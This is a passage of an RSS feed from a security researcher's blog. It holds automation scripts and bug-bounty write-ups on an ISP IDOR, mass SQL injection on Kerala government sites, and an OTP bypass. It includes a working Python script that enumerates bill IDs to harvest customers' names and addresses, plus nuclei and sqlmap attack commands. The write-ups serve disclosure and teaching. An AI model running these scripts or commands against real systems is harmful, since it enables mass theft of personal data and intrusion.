browser.find_element(&#39;xpath&#39;,&#39;/html/body/div[4]/div[1]/div/div[2]/div/div[2]/div/div[2]/div[2]/div/div/div/div/table/tbody/tr[23]/td[2]&#39;).text<br>     completed_date = browser.find_element(&#39;xpath&#39;,&#39;/html/body/div[4]/div[1]/div/div[2]/div/div[2]/div/div[2]/div[2]/div/div/div/div/table/tbody/tr[25]/td[2]&#39;).text<br>     issue_type = browser.find_element(&#39;xpath&#39;,&#39;/html/body/div[4]/div[1]/div/div[2]/div/div[2]/div/div[2]/div[2]/div/div/div/div/table/tbody/tr[7]/td[2]&#39;).text<br>     lco = browser.find_element(&#39;class name&#39;,&#39;msg-list-div01&#39;).text<br>     lco_id = lco[:8]<br>    <br>    return ticket_id, created_date, completed_date, lco_id<br><br>        <br>def main(): <br>    workbook = load_workbook(filename=&quot;input.xlsx&quot;)<br><br>    # Select a sheet name and active the sheet<br>    workbook.active = workbook[&#39;Sheet1&#39;]<br>    sheet = workbook[&#39;Sheet1&#39;]  # Replace &#39;Sheet1&#39; with the actual sheet name<br>    <br>    sheet = workbook.active<br>    <br>    tablelist = []<br>    for i in range(sheet.min_row + 1, sheet.max_row + 1):<br>        user_id = sheet.cell(row=i, column=1).value<br>        issue_type = sheet.cell(row=i, column=2).value<br>        description = sheet.cell(row=i, column=3).value<br>        ticket_cause = sheet.cell(row=i, column=4).value<br>        issue_category = sheet.cell(row=i, column=5).value<br>        ticket_priority = sheet.cell(row=i, column=6).value<br>        ticket_status = sheet.cell(row=i, column=7).value<br>        <br><br>        ticket_link = customer_ticket_create(user_id,issue_category,issue_type,description,ticket_priority,ticket_status,ticket_cause)<br><br>        if ticket_link == &#39;not_created&#39;:<br>            ticket_id = &#39;&#39;<br>            created_date = &#39;&#39;<br>            completed_date = &#39;&#39;<br>            lco_id = &#39;&#39;<br>        else:<br>            ticket_id, created_date, completed_date, lco_id = ticket_scraper(ticket_link)<br><br>        data = {<br>                        &quot;user_id&quot;: user_id,<br>                        &quot;lco_id&quot;: lco_id,<br>                        &quot;issue_type&quot;: issue_type,<br>                        &quot;blank&quot;: &quot;&quot;,<br>                        &quot;description&quot;: description,<br>                        &quot;t_no&quot;: ticket_id,<br>                        &quot;completed_date&quot;: completed_date,<br>                        <br>                    }<br>        <br>        print(f&quot;{user_id} - {ticket_id}&quot;)<br>        <br>        tablelist.append(data)<br>    <br>        df = pd.DataFrame(tablelist)<br>        df.to_excel(&#39;output.xlsx&#39;, header=True, index=False)<br><br>if __name__==&quot;__main__&quot;:<br>    try :<br>        start = time.time()<br>        <br>        login()<br>        main()<br>        <br>        now = datetime.now()<br>        end = time.time()<br>        hours, rem = divmod(end-start, 3600)<br>        minutes, seconds = divmod(rem, 60)<br><br>        print(now.strftime(&#39;\n&#39; + &quot;=============== COMPLETED - %d/%m/%Y %H:%M:%S&quot;)+  &quot; {:0&gt;2}:{:0&gt;2}:{:05.2f}&quot;.format(int(hours),int(minutes),seconds)  + &#39; ===============&#39; + &#39;\n&#39;)<br><br>    except KeyboardInterrupt:<br>        print(f&#39;\nKeyboard Interrupt.\n&#39;)<br>        sys.exit(130)</pre><p><strong>3. Customer count finder</strong></p><p>This is another script for automating data scraping from a website using Selenium, capturing customer counts for different statuses (Active, Inactive, Suspended) based on input LCO IDs from a text file.</p><pre>from selenium import webdriver<br>from selenium.webdriver.chrome.options import Options<br>from selenium.webdriver.chrome.service import Service<br>import time<br>import urllib.parse<br>import sys<br>import pandas as pd<br>import warnings<br>import platform<br><br># Determine if the OS is Windows or Linux<br>os_type = platform.system()<br><br>warnings.filterwarnings(&#39;ignore&#39;)<br><br>username = &#39;username&#39;<br>password = &#39;password&#39;<br><br>if os_type == &quot;Windows&quot;:<br>    service = Service(executable_path=&#39;C:/chromedriver/chromedriver.exe&#39;)<br>elif os_type == &quot;Linux&quot;:<br>    service = Service(executable_path=&#39;/usr/local/bin/chromedriver&#39;)<br><br>chrome_options = Options()<br>chrome_options.add_argument(&quot;--log-level=3&quot;) <br>chrome_options.add_argument(&quot;--ignore-certificate-errors-spki-list&quot;)<br>browser = webdriver.Chrome(service=service, options=chrome_options)<br><br>def login():<br>    browser.get(&#39;https://redacted.com&#39;)<br>    username_input = browser.find_element(&#39;name&#39;,&#39;txtUserName&#39;).send_keys(username)<br>    password_input = browser.find_element(&#39;name&#39;,&#39;txtPassword&#39;).send_keys(password)<br>    search_btn = browser.find_element(&#39;id&#39;,&#39;save&#39;)<br>    search_btn.click()<br><br>    time.sleep(2)<br><br>def customercount_finder(): <br>    file1 = open(&#39;input_lcoids.txt&#39;, &#39;r&#39;)<br>    lines = file1.readlines()<br><br>    tablelist = []<br>    <br>    print(&quot;========================= STARTED =========================\n&quot;)<br>    <br>    for line in lines:<br>        lcoid = line.strip()<br><br>        browser.get(&#39;https://redacted.com/Accounts.aspx&#39;)<br><br>        browser.find_element(&quot;xpath&quot;,&quot;//select[@name=&#39;ctl00$ContentPlaceHolder1$ddl_list&#39;]/option[text()=&#39;Code&#39;]&quot;).click()<br><br>        time.sleep(3)<br><br>        browser.find_element(&#39;name&#39;,&#39;ctl00$ContentPlaceHolder1$txtserch&#39;).clear()<br>        username = browser.find_element(&#39;name&#39;,&#39;ctl00$ContentPlaceHolder1$txtserch&#39;)<br>        username.send_keys(lcoid)<br>        browser.find_element(&#39;id&#39;,&#39;ContentPlaceHolder1_btnserch&#39;).click()<br>        <br>        time.sleep(34)<br>        <br>        active_total = 0<br>        suspended_total = 0<br>        inactive_total = 0<br><br>        for i in range(10):<br>            try:<br>                user = browser.find_element(&#39;id&#39;,f&#39;ContentPlaceHolder1_dl_total_lblnameT_{i}&#39;).text<br>                if user == &#39;Active&#39;:<br>                    active_total = browser.find_element(&#39;id&#39;,f&#39;ContentPlaceHolder1_dl_total_lblTotalT_{i}&#39;).text<br>                    active_total = str(active_total)[2:]<br>                if user == &#39;Inactive&#39;:<br>                    inactive_total = browser.find_element(&#39;id&#39;,f&#39;ContentPlaceHolder1_dl_total_lblTotalT_{i}&#39;).text<br>                    inactive_total = str(inactive_total)[2:]<br>                if user == &#39;Suspended&#39;:<br>                    suspended_total = browser.find_element(&#39;id&#39;,f&#39;ContentPlaceHolder1_dl_total_lblTotalT_{i}&#39;).text<br>                    suspended_total = str(suspended_total)[2:]<br>                    <br>                list.append(i)<br>            except:<br>                pass<br><br>        data = {<br>                    &quot;lco_id&quot;: lcoid,<br>                    &quot;Active&quot;: active_total,<br>                    &quot;Inactive&quot;: inactive_total,<br>                    &quot;Suspended&quot;: suspended_total,<br>                }<br>        print(data)<br>        tablelist.append(data)<br><br>    timestr = time.strftime(&quot;%Y%m%d-%H%M%S&quot;)<br><br>    df = pd.DataFrame(tablelist)<br>    df.to_csv(f&#39;lco/{timestr}.csv&#39;)<br>    <br>    print(&quot;\n======================== COMPLETED ======================== \n&quot;)<br>    <br>login()<br>customercount_finder()</pre><p><strong>4. Switch configuration auto backup</strong></p><p>This Python script automates retrieving the current configuration from multiple network devices (e.g., switches or routers) using SSH and saving the configurations to local files. The script establishes SSH connections through a jump host to securely access each network device and fetch its configuration, then writes the retrieved configurations to a text file.</p><pre>import time<br>import warnings<br>import paramiko<br>from datetime import datetime<br><br>warnings.filterwarnings(&#39;ignore&#39;)<br><br>j_user = &#39;JUMP_HOST_USERNAME&#39;<br>j_pass =  &#39;JUMP_HOST_PASSWORD&#39;<br>j_host =  &#39;JUMP_HOST_IP&#39;<br><br>SW3 = {&#39;ip&#39;: &#39;SWITCH_3_IP&#39;, &#39;username&#39;: &#39;user&#39;, &#39;password&#39;: &#39;pass123&#39;}<br>SW2 = {&#39;ip&#39;: &#39;SWITCH_2_IP&#39;, &#39;username&#39;: &#39;user&#39;, &#39;password&#39;: &#39;pass123&#39;}<br>SW1 = {&#39;ip&#39;: &#39;SWITCH_1_IP&#39;, &#39;username&#39;: &#39;user&#39;, &#39;password&#39;: &#39;pass123&#39;}<br><br>all_devices = [SW1, SW2, SW3]<br><br># Get current date in &#39;YYYY-MM-DD&#39; format<br>current_date = datetime.now().strftime(&quot;%Y-%m-%d&quot;)<br><br>for device in all_devices:<br>    sw_user = device.get(&#39;username&#39;)<br>    sw_pass = device.get(&#39;password&#39;)<br>    sw_ip = device.get(&#39;ip&#39;)<br>    print(f&quot;Connecting to {sw_ip}&quot;)<br><br>    try:<br>        # Connect to jump host<br>        vm = paramiko.SSHClient()<br>        vm.set_missing_host_key_policy(paramiko.AutoAddPolicy())<br>        vm.connect(j_host, username=j_user, password=j_pass)<br>        vm_transport = vm.get_transport()<br>        dest_addr = (sw_ip, 22)<br>        local_addr = (j_host, 22)<br>        vm_channel = vm_transport.open_channel(&quot;direct-tcpip&quot;, dest_addr, local_addr)<br><br>        # Connect to network device via the jump host<br>        jhost = paramiko.SSHClient()<br>        jhost.set_missing_host_key_policy(paramiko.AutoAddPolicy())<br>        jhost.connect(sw_ip, username=sw_user, password=sw_pass, sock=vm_channel)<br><br>        # Request an interactive shell session on this channel<br>        commands = jhost.invoke_shell()<br>        print(f&quot;Connected to {sw_ip}&quot;)<br><br>        # Send the command to get the configuration<br>        commands.send(&quot;display current-configuration\n&quot;)<br><br>        # Wait for the command output to return<br>        time.sleep(10)  # Optionally replace this with a timeout check<br>        output = commands.recv(65535)<br>        output = output.decode(&quot;utf-8&quot;)<br><br>        # Create the output file name using current date and switch the IP with date<br>        filename = f&quot;{sw_ip}_{current_date}.txt&quot;<br><br>        # Write the output to a file with the new filename<br>        with open(filename, &#39;w&#39;) as f:<br>            print(output, file=f)<br><br>        # Close the connections<br>        jhost.close()<br>        vm.close()<br><br>    except Exception as e:<br>        print(f&quot;Failed to connect or retrieve config from {sw_ip}: {e}&quot;)<br>        if &#39;vm&#39; in locals():<br>            vm.close()<br>        if &#39;jhost&#39; in locals():<br>            jhost.close()</pre><p>Thanks for reading. Do clap and share if you like.</p><p><em>Twitter :</em> <a href="https://twitter.com/srlsec_">https://twitter.com/srlsec_</a></p><p><em>Youtube:</em> <a href="https://www.youtube.com/@srlsec">www.youtube.com/@srlsec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=538a1ed5e48e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Critical IDOR Vulnerability: The Story of Protecting Over 1.2 Million Customer Records]]></title>
            <link>https://srlsec.medium.com/hacked-isp-idor-allowed-retrieving-1-5-million-customers-information-aeec640cca7e?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/aeec640cca7e</guid>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Thu, 18 Apr 2024 15:55:04 GMT</pubDate>
            <atom:updated>2026-08-13T01:33:31.657Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*CxcnFNr4ziAu9gNQ5pHiJQ.jpeg" /></figure><p>Hey guys!</p><p>In this post, I’ll dig into an IDOR vulnerability I found on the Internet service provider website. If you want to read my previous blog regarding my findings, click the following link.</p><p><a href="https://srlsec.medium.com/i-hacked-and-secured-100-kerala-government-websites-7d17d6501661">I Hacked and Secured 100+ Kerala Government Websites</a></p><p>This was a weird encounter of IDOR vulnerability to me, I was not sure why that was happening but I figured it out finally at the end.</p><p>So let’s check out the vulnerability.</p><p><strong>Identifying functionalities of an App</strong><br> - Customer login<br> - Customer forgot password<br> - Plan selection<br> - Payment system<br> - Change broadband password<br> - Change login password<br> - View bills<br> - View customer documents <br> - Upload documents</p><p>I started to test login functionality, I tried all methods to bypass authentication, but unfortunately, no vulnerabilities were identified. I have already an account on this website. Then I logged into the application and started to test each authenticated functionality.</p><p><strong>Testing View Bill Functionality</strong></p><p>I opened a previous bill. The bill URL is shown below.</p><pre>https://selfcare.redacted.com/QuotePrint.aspx?Id=_EP_atiJOoAUaQVWzPhBZUT6RA||&amp;t=_EP_cK_wSScV5Vo|&amp;isThrowEx=_EP_bu326Ol0zRE|</pre><p>Id=_EP_atiJOoAUaQVWzPhBZUT6RA||</p><p>t=_EP_cK_wSScV5Vo|</p><p>isThrowEx=_EP_bu326Ol0zRE|</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*XJmZAfD14Z_i85QS8T-aHg.jpeg" /></figure><p>I tried to identify these hash type, but I could not identify that. Then I looked into JavaScript and HTML source code. While reading the HTML source code of the view bill page, I noticed that the page displays parameter values in a readable format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jnzwz0Y2-QTMHK6g-TcvfA.jpeg" /></figure><pre>/QuotePrint.aspx?Id=27464168&amp;t=8220&amp;isThrowEx=1</pre><p>I copied the endpoint from the source code and opened the URL in the browser tab then intercepted the request and changed the file ID to random ID. Thus, I confirmed the IDOR Vulnerability was in the file ID. I was shocked when I could view another customer’s bill details, which include the customer’s Full name, Address, user ID, and more.</p><p><strong>Exploit Development</strong></p><p>We need to automate viewing all customer’s bill details using Python.</p><pre>import requests<br>from bs4 import BeautifulSoup<br>import pandas as pd<br>import json<br>import time<br>from datetime import datetime<br>import urllib3<br>import lxml<br><br>requests.packages.urllib3.disable_warnings()<br>urllib3.disable_warnings()<br><br><br>userid = &#39;username&#39;<br>passw =  &#39;password&#39;<br><br>loginurl = (&#39;https://selfcare.redacted.com/Customer/Default.aspx&#39;)<br>loginurlpost = (&#39;https://selfcare.redacted.com/Customer/PortalLogin.aspx?h8=1&#39;)<br><br>s = requests.session()<br>r = s.get(loginurl)<br>soup = BeautifulSoup(r.text, &#39;html.parser&#39;)<br><br># GET DEFAULT REQUEST BODY VALUES<br>tmp = soup.find(attrs={&quot;name&quot;: &quot;__VIEWSTATE&quot;})<br>width = tmp.get(&quot;value&quot;)<br>tmp = soup.find(attrs={&quot;name&quot;: &quot;__VIEWSTATEGENERATOR&quot;})<br>pxr = tmp.get(&quot;value&quot;)<br>tmp = soup.find(attrs={&quot;name&quot;: &quot;__EVENTVALIDATION&quot;})<br>gps = tmp.get(&quot;value&quot;)<br><br>req_body = {    &#39;__LASTFOCUS&#39;: &#39;&#39;,<br>            &#39;ToolkitScriptManager1_HiddenField&#39;: &#39;&#39;,<br>            &#39;__EVENTTARGET&#39;: &#39;&#39;,<br>            &#39;__EVENTARGUMENT&#39;: &#39;&#39;,<br>            &#39;__VIEWSTATE&#39;: width,<br>             &#39;__VIEWSTATEGENERATOR&#39;: pxr,<br>            &#39;__EVENTVALIDATION&#39;: gps,<br>            &#39;txtUserName&#39;: userid,<br>            &#39;txtPassword&#39;: passw,<br>            &#39;hdnloginwith&#39;: &#39;username&#39;,<br>            &#39;save&#39;: &#39;Log In&#39;,<br>        }<br><br><br>req_headers = {<br>                &#39;referer&#39;: &#39;https://selfcare.redacted.com/Customer/Default.aspx&#39;<br>              }<br><br># FOR DEVELOPMENT<br>proxies = {&quot;http&quot;: &quot;http://127.0.0.1:8080&quot;, &quot;https&quot;: &quot;http://127.0.0.1:8080&quot;}<br><br>r = s.post(loginurlpost , data=req_body, cookies=r.cookies, verify=False, headers=req_headers)<br><br>if &#39;Welcome&#39; in r.text:<br>    print(&quot;\n============================== Login Success ==============================\n&quot;)<br>    <br>    start_num = 1<br><br>    start = time.time()<br>    end_num = start_num + 100000<br>    filename = (f&#39;{start_num}-{end_num-1}&#39;)<br>    <br>    for i in range(start_num, end_num):<br>        address = &#39;&#39;<br>        user_name = &#39;&#39;<br>        <br>        source_code = s.get(f&#39;https://selfcare.redacted.com/QuotePrint.aspx?id={i}&amp;t=8220&amp;isThrowEx=1&#39;).text<br><br>        soup = BeautifulSoup(source_code, &#39;html.parser&#39;)<br><br>        tablelist_1 = []<br>        for table in soup.find_all(&#39;table&#39;, {&#39;class&#39;: &#39;hed&#39;}):<br>            for tr in table.find_all(&#39;tr&#39;):<br>                for td in tr.find_all(&#39;td&#39;):<br>                    tablelist_1.append(td.text)<br>        address = tablelist_1[9]<br>        user_name = tablelist_1[8]<br><br>        tablelist = []<br>        for table in soup.find_all(&#39;table&#39;, {&#39;class&#39;: &#39;sec&#39;}):<br>            for tr in table.find_all(&#39;tr&#39;):<br>                for td in tr.find_all(&#39;td&#39;):<br>                    tablelist.append(td.text)<br><br>        userid = tablelist[1]<br>        sub_code = tablelist[3]<br>        print(f&#39;{i} - {sub_code} - {userid} - {user_name} - {address}&#39;)<br><br>    now = datetime.now()<br>    end = time.time()<br>    hours, rem = divmod(end-start, 3600)<br>    minutes, seconds = divmod(rem, 60)<br>    print(now.strftime(&#39;\n&#39; + &quot;=============== COMPLETED - %d/%m/%Y %H:%M:%S&quot;)+  &quot; {:0&gt;2}:{:0&gt;2}:{:05.2f}&quot;.format(int(hours),int(minutes),seconds)  + &#39;===============&#39; + &#39;\n&#39;)<br><br><br>else:<br>    print(&quot;Login Failed&quot;)</pre><p>Now the automation is done and now I need to run a Python script. It fetches all the sensitive information of all customers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*v8CgIUPqxTUdHklCynsHTg.png" /></figure><p>I reported this security issue to the affected organization.</p><p><strong>Timeline</strong>:</p><p><em>18/03/2024 — Reported</em></p><p><em>21/03/2024 — Fixed</em></p><p>Thanks for reading. Do clap and share if you like.</p><p><em>X :</em> <a href="https://x.com/srlsec_">https://x.com/srlsec_</a></p><p>Instagram: <a href="https://www.instagram.com/srlsec/">https://www.instagram.com/srlsec/</a></p><p><em>Youtube:</em> <a href="https://www.youtube.com/@srlsec">www.youtube.com/@srlsec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aeec640cca7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Hacked and Secured 100+ Kerala Government Websites]]></title>
            <link>https://srlsec.medium.com/i-hacked-and-secured-100-kerala-government-websites-7d17d6501661?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d17d6501661</guid>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Tue, 30 Jan 2024 11:21:59 GMT</pubDate>
            <atom:updated>2024-08-05T02:07:29.219Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*VlU-PVkh0Yn2zKdlkAh9rw.png" /></figure><p>Hi everyone,</p><p>I’m Sarathlal Srl (a.k.a SRLSEC) from India. During the journey of Bug hunting, I have received lots of official acknowledgment from the National Critical Information Infrastructure Protection Centre (NCIIPC) for my discovery of critical security vulnerabilities on Kerala government websites. I’m extremely grateful for keeping our nation’s web applications secure, and reliable and I strive hard to maintain the systems’ integrity.</p><p><strong>NCIIPC (National Critical Information Infrastructure Protection Center)</strong></p><p>Responsible Vulnerability Disclosure Program is a great initiative by the NCIIPC to acknowledge security researchers for reporting critical bugs on government websites (*.gov.in).</p><p>Link: <a href="https://nciipc.gov.in/RVDP.html">https://nciipc.gov.in/RVDP.html</a></p><p>I reported all bugs and was awarded the <strong>Hall of Fame</strong> at the National Critical Information Infrastructure Protection Centre (NCIIPC) two times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JtZuEScry1-1yJ4GcVjtkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0t22hwheiBHMa1uyp3n-Eg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6sEpd6r2zbLqUvtaFldl5g.png" /><figcaption><a href="https://www.nciipc.gov.in/documents/NCIIPC_Newsletter_Jan22.pdf">https://www.nciipc.gov.in/documents/NCIIPC_Newsletter_Jan22.pdf</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZT4DokOZHxZwLtcuRrGUA.png" /><figcaption><a href="https://www.nciipc.gov.in/documents/NCIIPC_Newsletter_Apr22.pdf">https://www.nciipc.gov.in/documents/NCIIPC_Newsletter_Apr22.pdf</a></figcaption></figure><h3><strong>Hunting Part</strong></h3><p><strong>SQL Injection Vulnerability</strong></p><p>SQL injection occurs when coding errors allow an attacker to modify the structure of SQL executed by a database server, changing the statement’s logic to potentially malicious ends rather than those intended by the application. The most common cause is the use of unfiltered user input from a Web form in SQL statements constructed by string concatenation. SQL injection vulnerabilities are one of the most serious classes of application security flaw. Even a single piece of vulnerable code can let an attacker access important data or control an application/server.</p><p><strong>Mass Hunting of SQL Injection Vulnerability</strong></p><p>I used the common methodology to find SQL injection vulnerability. In recon and testing, I used my Python and Bash scripts for automating tasks.</p><ol><li><strong>Subdomain enumeration</strong></li></ol><p>Scope: *.kerala.gov.in</p><ul><li>Gathering subdomains and extracting to resolved domains</li></ul><p>The tool will search for automated subdomain enumeration, utilizing several tools including amass, subfinder, sublist3r, and assetfinder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*TZRk7ThitqhN9HKK_stfsw.jpeg" /></figure><p><strong>2. Web probing</strong></p><p>The tool to find working http and https servers and save them to an all-apps.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yBpy5PL4TaND1aNI55HFTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYeuyOYtvbMOXmfsm7UOBw.png" /></figure><p><strong>3. Technology stack scanning</strong></p><p>Tech-stack-scanner is a web technology information profiler tool used to find out the following information.</p><ul><li>IP Address, Cloud, WAF, CDN, Web server, OS, Framework, Backend language, CMS, Database, Frontend frameworks.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJJXnNao142do_Km3p4DXA.png" /></figure><p>Output saved to tech-result.csv file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ywnx9m7tHwxFcsmQ8uoPow.png" /><figcaption>output — tech-result.csv</figcaption></figure><ul><li>Filter out PHP apps</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uY6Tu3oMryiR-4e7Gzk1fg.png" /><figcaption>php apps</figcaption></figure><p><strong>4. Collecting endpoints</strong></p><ul><li>I run the following tools to collect urls through actively and passively.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4wMVyvTBUfKUUVPKGLvasw.png" /><figcaption>passive method</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2tQoYU0bHwlFoCpWEvqaQ.png" /><figcaption>active method</figcaption></figure><ul><li>Combine tools output to one file all-urls.txt</li><li>Remove duplicated urls and filter out parameterized URLs</li></ul><pre>cat all-urls.txt | sort -u | grep &quot;=&quot; | urldedupe &gt; param-urls.txt</pre><p><strong>5. Scanning SQL Injection vulnerability</strong></p><p>Then I used SQLi-detector to find the SQL injection and kept it running on VPS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bmNhGFmzocWZgKPPI3bRMw.png" /></figure><p>I reported 103 SQL injections to the <strong>NCIIPC</strong> and they approved it and they’re working to solve the issues.</p><p>Thanks for reading my writeup : )</p><p><em>Twitter :</em> <a href="https://twitter.com/srlsec_">https://twitter.com/srlsec_</a></p><p>Instagram: <a href="https://www.instagram.com/sarathlal_srl">https://www.instagram.com/sarathlal_srl</a></p><p><em>Youtube:</em> <a href="https://www.youtube.com/@srlsec">www.youtube.com/@srlsec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d17d6501661" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Removing request parameter to Bypass OTP verification]]></title>
            <link>https://srlsec.medium.com/removing-request-parameter-to-bypass-otp-verification-75a5779dffb8?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/75a5779dffb8</guid>
            <category><![CDATA[otp-bypass]]></category>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Sun, 19 Sep 2021 09:17:57 GMT</pubDate>
            <atom:updated>2024-08-05T02:08:27.458Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*FKg2OVTWQMf15b0-UolxjA.png" /></figure><p>Hello everyone, This is my fifth blog regarding Bug hunting. If you want to read my previous four blogs regarding my findings click on the following link.</p><ul><li><a href="https://sarathlal-srl.medium.com/how-i-found-another-sqli-on-kerala-govt-website-in-just-5-minutes-c66a56a9909e">How I found another SQLi on the Government website in just 5 minutes</a></li><li><a href="https://sarathlal-srl.medium.com/sql-injection-vulnerability-on-keralas-online-recharge-website-be1425841697">Three different types of SQL injection in one POST parameter</a></li><li><a href="https://sarathlal-srl.medium.com/account-takeover-by-otp-bypass-97b42400bfdc">Account Takeover by OTP Bypass</a></li><li><a href="https://sarathlal-srl.medium.com/found-sql-injection-vulnerability-in-redacted-kerala-gov-in-c946f740723d">Time-Based SQL Injection to Dumping the Database</a></li></ul><p>Today, I am going to talk about OTP Verification Bypass that I found on E-commerce website. I started testing with technical vulnerabilities like XSS and SQL Injection but no Issues were found.</p><p>During the testing process, I have found five bugs.</p><ul><li>Weak Password Policy at Password Change</li><li>No Rate Limit on forgot password leading to massive Email flooding</li><li>Email Enumeration via Password Reset</li><li>Mobile number Enumeration via User Signup</li><li>Missing Sessions Invalidation after Password Reset</li></ul><p>But these are not critical findings. Then I tried looking for Business Logic vulnerabilities and fortunately, the target was vulnerable to OTP Verification Bypass.</p><h4>Bypass OTP verification in account registration process</h4><ol><li>Make a request to https://target.com/profiles-add/ and enter a username, mail, password, and mobile number (+910000000000) and click on Register.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*yHLE5g8W9nP1Neih51wLxQ.png" /></figure><p>2. Then enter a random 6 digit OTP (000000) and click on verify. Then capture the request in burp-suite.</p><p>3. Remove the result_ids parameter with value and forward it to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__f5Aaz65SIL4Cd0dY2BNQ.png" /></figure><p>4. Now profile created and mobile number verified without OTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*DQpIGhk99XfkwJKnM534aw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*FyNkIikirRRKmyxkvwDxug.png" /></figure><h3>Impact</h3><p>An attacker can able to create a profile with any mobile number also creates multiple profiles by using the same mobile number.</p><p>HOPE YOU LIKE IT : )</p><p><em>Twitter :</em> <a href="https://twitter.com/srlsec_">https://twitter.com/srlsec_</a></p><p>Instagram: <a href="https://www.instagram.com/sarathlal_srl">https://www.instagram.com/sarathlal_srl</a></p><p><em>Youtube:</em> <a href="https://www.youtube.com/@srlsec">www.youtube.com/@srlsec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75a5779dffb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I found another SQLi on the Government website in just 5 minutes]]></title>
            <link>https://srlsec.medium.com/how-i-found-another-sqli-on-kerala-govt-website-in-just-5-minutes-c66a56a9909e?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/c66a56a9909e</guid>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Sat, 21 Aug 2021 12:29:33 GMT</pubDate>
            <atom:updated>2021-08-23T02:04:44.169Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*re1GLQjhU86ji8l-5p5yCA.png" /></figure><p>Two months ago I started the journey of bug hunting of Kerala govt websites. In this journey, there are lots of vulnerabilities identified including Remote Code Execution, SQL Injection, Local File Inclusion, Sensitive Data Exposure, etc. I will share my experiences in upcoming write-ups. This simple write-up is about SQL injection.SQL Injection is one of the most pervasive, and most dangerous web application vulnerabilities.</p><h4>Power of Nuclei tool</h4><p><a href="https://github.com/projectdiscovery/nuclei">Nuclei</a> is a very powerful tool, it allows you to perform automatic vulnerability scans based on templates predefined by the user. Nuclei is used to send requests across targets based on a template leading to zero false positives and providing fast scanning on large number of hosts. Nuclei offers scanning for a variety of protocols including TCP, DNS, HTTP, File, etc. With powerful and flexible templating, all kinds of security checks can be modelled with Nuclei.</p><p><strong>Let’s start to scan the target with Nuclei.</strong></p><blockquote>echo “https://[redacted].in&quot; | nuclei -c 200 -silent -t /home/srl/nuclei-templates/</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5RDtJykHTzOoo-KbAWE9HQ.png" /></figure><p>From the above picture, you can see the target is vulnerable to <a href="https://www.exploit-db.com/exploits/45423">CVE-2018-17254</a>. So I decided to Identify available databases by using <a href="https://github.com/sqlmapproject/sqlmap">SQLMap</a>.</p><blockquote>sqlmap -u “https://[redacted].in/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&amp;view=menu&amp;parent=&quot; — dbs</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0W58lxj-eViGSD_xKkcywQ.png" /></figure><p>After 2 minutes I have got available database names.</p><h3><strong><em>Impact</em></strong></h3><p>An attacker could use this vulnerability to control the content in the database, exfiltrate information, and potentially obtain remote code execution.</p><p>HOPE YOU LIKE IT : )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/60/0*SeXu9XfzNwAj_MNv" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c66a56a9909e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Three different types of SQL injection in one POST parameter]]></title>
